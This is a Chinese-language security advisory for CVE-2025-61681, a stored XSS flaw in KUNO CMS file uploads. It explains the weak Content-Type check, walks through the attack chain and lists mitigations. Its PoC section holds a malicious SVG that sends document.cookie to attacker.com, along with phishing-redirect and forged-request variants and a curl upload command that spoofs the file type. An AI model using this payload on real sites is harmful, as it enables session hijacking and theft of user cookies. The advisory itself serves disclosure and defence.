IPBUF安全漏洞报告
English
CVE-2025-61681 CVSS 5.4 中危

CVE-2025-61681:KUNO CMS文件上传存储型XSS漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-61681
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
KUNO CMS

相关标签

XSS存储型XSS文件上传KUNO CMSSVGCVE-2025-61681Web应用漏洞内容管理统跨站脚本中等严重性

漏洞概述

CVE-2025-61681是KUNO CMS全栈博客应用中存在的存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于KUNO CMS 1.3.13及以下版本的文件上传功能中。KUNO CMS是一个完全可部署的全栈博客应用程序,允许用户上传文件作为博客内容的一部分。然而,该应用的文件上传端点在验证上传文件类型时存在严重缺陷,仅依赖HTTP请求中的Content-Type头进行文件类型校验,而没有对文件的实际内容进行分析,也没有实施文件扩展名白名单机制。这种验证方式使得攻击者能够上传包含恶意JavaScript代码的SVG文件,并将其伪装为图片文件上传到服务器。由于SVG文件本质上可以包含可执行的脚本代码,当其他用户访问包含这些上传资源的页面时,恶意脚本将在其浏览器中自动执行,从而实现会话劫持、cookie窃取、钓鱼攻击或其他恶意操作。该漏洞的CVSS 3.1评分为5.4,属于中等严重级别,攻击向量为网络攻击,无需认证即可利用,但需要用户交互(如访问恶意页面)才能触发完整攻击链。该漏洞已在1.3.14版本中修复,修复方式为加强文件上传验证机制,包括对文件内容进行实际分析以及实施严格的扩展名白名单策略。

技术细节

KUNO CMS文件上传功能的验证逻辑存在根本性缺陷。具体技术细节如下:

1. **Content-Type头验证绕过**:上传端点仅检查HTTP请求头中的Content-Type字段来判断文件类型,攻击者可以通过修改请求头将恶意文件的Content-Type设置为image/png或image/jpeg等合法图片类型,从而绕过验证。

2. **缺少文件内容分析**:服务端没有对上传文件的实际二进制内容或文本内容进行分析。SVG文件虽然是XML格式的矢量图形文件,但其规范允许内嵌JavaScript脚本(通过<script>标签或事件处理器如onload属性),因此可以被用作XSS攻击载体。

3. **缺少扩展名白名单**:上传功能没有限制文件扩展名,允许上传.svg、.html等危险文件类型。攻击者可以将恶意SVG文件命名为image.svg并设置Content-Type为image/png来绕过检查。

4. **存储与触发机制**:上传成功后,恶意SVG文件被存储在服务器上,并可通过URL直接访问。当用户浏览包含该SVG引用的页面时,浏览器解析SVG并执行其中的JavaScript代码,实现存储型XSS攻击。

利用方式:攻击者构造一个包含恶意JavaScript的SVG文件,设置Content-Type为图片类型后上传至KUNO CMS,获取上传文件的URL后诱导用户访问该URL或包含该资源的页面,即可触发XSS攻击。

攻击链分析

STEP 1
步骤1:构造恶意SVG文件
攻击者创建一个包含恶意JavaScript代码的SVG文件,将脚本嵌入到<script>标签中或使用事件处理器(如onload)。该文件伪装为正常的图片文件。
STEP 2
步骤2:绕过文件类型验证
通过修改HTTP请求头,将恶意SVG文件的Content-Type设置为image/png或image/jpeg等合法图片类型,绕过服务端仅基于Content-Type的文件类型检查。
STEP 3
步骤3:上传恶意文件
将伪装后的恶意SVG文件上传至KUNO CMS的文件上传端点。由于服务端缺少文件内容分析和扩展名白名单验证,文件成功上传并存储在服务器上。
STEP 4
步骤4:诱导用户访问
攻击者获取上传文件的URL,通过社交工程手段(如发布在论坛、发送邮件链接或嵌入博客文章中)诱导受害者访问包含该恶意SVG资源的页面。
STEP 5
步骤5:触发XSS执行
当受害者的浏览器加载包含恶意SVG的页面时,浏览器解析SVG并执行其中的JavaScript代码,实现cookie窃取、会话劫持、钓鱼攻击或其他恶意操作。
STEP 6
步骤6:数据窃取与进一步攻击
恶意脚本在用户浏览器中执行后,可窃取用户会话cookie、获取敏感信息、执行未授权操作,或将用户重定向到钓鱼页面进行进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Malicious SVG file for Stored XSS exploitation in KUNO CMS --> <!-- Save as evil.svg and upload with Content-Type: image/png --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <script type="text/javascript"> // XSS payload: steal cookies and redirect to attacker server var cookie = document.cookie; var img = new Image(); img.src = "https://attacker.com/steal?cookie=" + encodeURIComponent(cookie); // Alternative: redirect user to phishing page // window.location = "https://attacker.com/phishing"; // Alternative: perform actions on behalf of user // fetch('/api/some-action', {method: 'POST', credentials: 'include'}); </script> <rect x="0" y="0" width="200" height="200" fill="blue"/> <text x="50" y="100" fill="white">Image</text> </svg> # Exploitation steps: # 1. Create the malicious SVG file above # 2. Use curl or a script to upload it to KUNO CMS with modified Content-Type header: # # curl -X POST https://target-kuno-cms.com/upload \ # -H "Content-Type: multipart/form-data" \ # -F "[email protected];type=image/png" # # 3. Obtain the uploaded file URL from the response # 4. Share the URL with victims or embed it in a blog post # 5. When victims view the page, the JavaScript executes in their browser

影响范围

KUNO CMS <= 1.3.13

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在Web服务器层面配置上传目录,禁止执行SVG、HTML、JS等可执行文件类型,将SVG文件以application/octet-stream类型提供,强制下载而非在浏览器中渲染;2)配置Content-Security-Policy头,限制页面中可以执行的脚本来源;3)在反向代理(如Nginx/Apache)层面添加规则,过滤上传请求中的危险文件扩展名;4)对已上传的SVG文件进行批量扫描,识别并删除包含<script>标签或事件处理器的恶意文件;5)监控异常的文件上传行为,设置上传频率和数量限制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表